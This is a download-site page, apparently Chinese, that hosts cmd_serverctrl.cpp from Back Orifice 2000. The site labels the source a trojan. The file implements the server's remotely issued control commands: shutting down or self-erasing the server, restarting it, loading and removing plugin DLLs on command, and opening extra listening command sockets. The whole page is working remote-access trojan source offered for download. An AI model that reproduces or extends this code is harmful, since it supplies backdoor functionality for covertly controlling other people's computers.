⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 cmd_serverctrl.cpp

📁 最厉害的木马Vc源代码
💻 CPP
字号:
/*  Back Orifice 2000 - Remote Administration Suite
    Copyright (C) 1999, Cult Of The Dead Cow

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA

	The author of this program may be contacted at dildog@l0pht.com. */

#include<windows.h>
#include<auth.h>
#include<iohandler.h>
#include<encryption.h>
#include<commandloop.h>
#include<bocomreg.h>
#include<cmd\cmd_serverctrl.h>
#include<plugins.h>
#include<dll_load.h>
#include<main.h>
#include<config.h>
#include<strhandle.h>

int CmdProc_ShutdownServer(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
	if(lstrcmpi(svArg2,"delete")==0) {
		g_bEradicate=TRUE;
		IssueAuthCommandReply(cas_from, comid, 1, ">>Eradicating BO2K server<<\n");
	}

	IssueAuthCommandReply(cas_from, comid, 0, "Shutting down BO2K server.\n");
	
	g_bBO2KFinished=TRUE;
	g_bRestart=FALSE;
	return 0;
}

int CmdProc_RestartServer(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
	if(svArg2==NULL) {
		g_svRestartProcess[0]='\0';
	} else {
		lstrcpyn(g_svRestartProcess,svArg2,64);
	}

	IssueAuthCommandReply(cas_from, comid, 0, "Restarting BO2K server.\nYou will need to reconnect.\n");
	
	g_bBO2KFinished=TRUE;
	g_bRestart=TRUE;
	return 0;
}

int CmdProc_LoadPluginDll(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
	HANDLE hFile=CreateFile(svArg2,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
	if(hFile==INVALID_HANDLE_VALUE) {
		IssueAuthCommandReply(cas_from,comid,0,"Couldn't open plugin dll.\n");
		return -1;
	}
	BY_HANDLE_FILE_INFORMATION bhfi;

	GetFileInformationByHandle(hFile,&bhfi);

	void *buf=malloc(bhfi.nFileSizeLow);
	if(buf==NULL) {
		CloseHandle(hFile);
		IssueAuthCommandReply(cas_from,comid,0,"Memory allocation error.\n");
		return -1;
	}

	DWORD dwBytes;
	ReadFile(hFile,buf,bhfi.nFileSizeLow,&dwBytes,NULL);

	if(AddPlugin(buf,bhfi.nFileSizeLow)==-1) {
		CloseHandle(hFile);
		free(buf);
		IssueAuthCommandReply(cas_from,comid,0,"Plugin could not be added.\n");
		return -1;
	}

	CloseHandle(hFile);
	free(buf);
	
	IssueAuthCommandReply(cas_from,comid,2,"Plugin added successfully.\n");
	return 0;
/*
	if(DebugPlugin(svArg2)==-1) {
		IssueAuthCommandReply(cas_from,comid,0,"Plugin could not be added.\n");
		return -1;
	}

	IssueAuthCommandReply(cas_from,comid,2,"Plugin added successfully.\n");
	return 0;*/
}

int CmdProc_DebugPluginDll(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
	if(DebugPlugin(svArg2)==-1) {
		IssueAuthCommandReply(cas_from,comid,0,"Plugin could not be added.\n");
		return -1;
	}

	IssueAuthCommandReply(cas_from,comid,2,"Debug plugin added successfully.\n");
	return 0;
}

int CmdProc_ListPluginDlls(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
	HMODULE hDLL;
	int num;

	IssueAuthCommandReply(cas_from,comid,1,"Plugin List\n");
	
	num=0;
	hDLL=GetPlugin(num);
	while(hDLL!=NULL) {
		char svLine[1024];
		PLUGIN_VERSION pv;

		TYPEOF_PluginVersion *PluginVersion=(TYPEOF_PluginVersion *)GetDLLProcAddress(hDLL,"PluginVersion");
		PluginVersion(&pv);

		wsprintf(svLine,"%2d: %.256s (%.512s)\n",num,pv.svFilename,pv.svDescription);
		IssueAuthCommandReply(cas_from,comid,1,svLine);

		num++;
		hDLL=GetPlugin(num);
	}

	IssueAuthCommandReply(cas_from,comid,0,"End Of Plugin List\n");
	
	return 0;
}

int CmdProc_RemovePluginDll(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
	void *ptr;

	ptr=GetPlugin(nArg1);
	if(ptr==NULL) {
		IssueAuthCommandReply(cas_from,comid,0,"Invalid plugin number.\n");
		return -1;	
	}

	if(RemovePlugin(nArg1)==-1) {	
		IssueAuthCommandReply(cas_from,comid,0,"Plugin could not be removed\n");
		return -1;
	}
	
	IssueAuthCommandReply(cas_from,comid,2,"Plugin removed successfully.\n");	
	return 0;
}

int CmdProc_StartCommandSocket(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{	
	char *svBindStr=GetCfgStr(g_szStartupOptions,"Init Cmd Bind Str");
	char *svNetMod=GetCfgStr(g_szStartupOptions,"Init Cmd Net Type");
	char *svEnc=GetCfgStr(g_szStartupOptions,"Init Cmd Encryption");
	char *svAuth=GetCfgStr(g_szStartupOptions,"Init Cmd Auth");
	char *svParam;

	svParam=svArg2;
	if(svParam!=NULL) {
		if(svParam[0]!='\0') svNetMod=svParam;
		svParam=BreakString(svNetMod,",");
		if(svParam!=NULL) {
			if(svParam[0]!='\0') svEnc=svParam;
			svParam=BreakString(svEnc,",");
			if(svParam!=NULL) {
				if(svParam[0]!='\0') svAuth=svParam;
			}
		}
	}

	if(svArg3!=NULL) {
		if(svArg3[0]!='\0') svBindStr=svArg3;
	}	

	CAuthSocket *pSock=ListenAuthSocket(NULL,cas_from->GetUserID(),NULL,svBindStr,svNetMod,svEnc,svAuth);
	if(((int)pSock)>0 && g_nCommCount<MAX_COMMAND_SOCKETS) {
		g_pCommSock[g_nCommCount]=pSock;
		g_nCommCount++;
		
		char svMsg[512],svAddr[256];
		pSock->GetConnectAddr(svAddr,256);
		wsprintf(svMsg, "Command socket #%d created on: %.256s\n",g_nCommCount-1,svAddr);
		IssueAuthCommandReply(cas_from,comid,0,svMsg);
	} else {
		IssueAuthCommandReply(cas_from,comid,0,"Error creating command socket.\n");
	}
	return 0;
}

int CmdProc_ListCommandSockets(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
	int i;
	IssueAuthCommandReply(cas_from,comid,1,"Command Sockets:\n");
	for(i=0;i<g_nCommCount;i++) {
		char svMsg[512];
		char svAddr[256];
		CAuthSocket *pSock=g_pCommSock[i];
		pSock->GetConnectAddr(svAddr,256);
		wsprintf(svMsg,"%d: %.256s\n",i,svAddr);
		IssueAuthCommandReply(cas_from,comid,1,svMsg);
	}
	IssueAuthCommandReply(cas_from,comid,1,"End Command Socket List.\n");
	return 0;
}

int CmdProc_StopCommandSocket(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
	if(nArg1>=0 && nArg1<(DWORD)g_nCommCount) {
		CAuthSocket *pSock=g_pCommSock[nArg1];
		if(pSock!=NULL) {
			memcpy(g_pCommSock+nArg1,g_pCommSock+nArg1+1, sizeof(CAuthSocket *) * (g_nCommCount-(nArg1+1)));
			g_nCommCount--;
			g_pCommSock[g_nCommCount]=NULL;
			if(pSock->Close()==0) {
				IssueAuthCommandReply(cas_from,comid,0,"Command socket closed.\n");
				return 0;
			} else {
				IssueAuthCommandReply(cas_from,comid,0,"Command socket already closed.\n");
				return 0;
			}
		}
	} 
	IssueAuthCommandReply(cas_from,comid,0,"Command socketd does not exist.\n");
	return 0;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -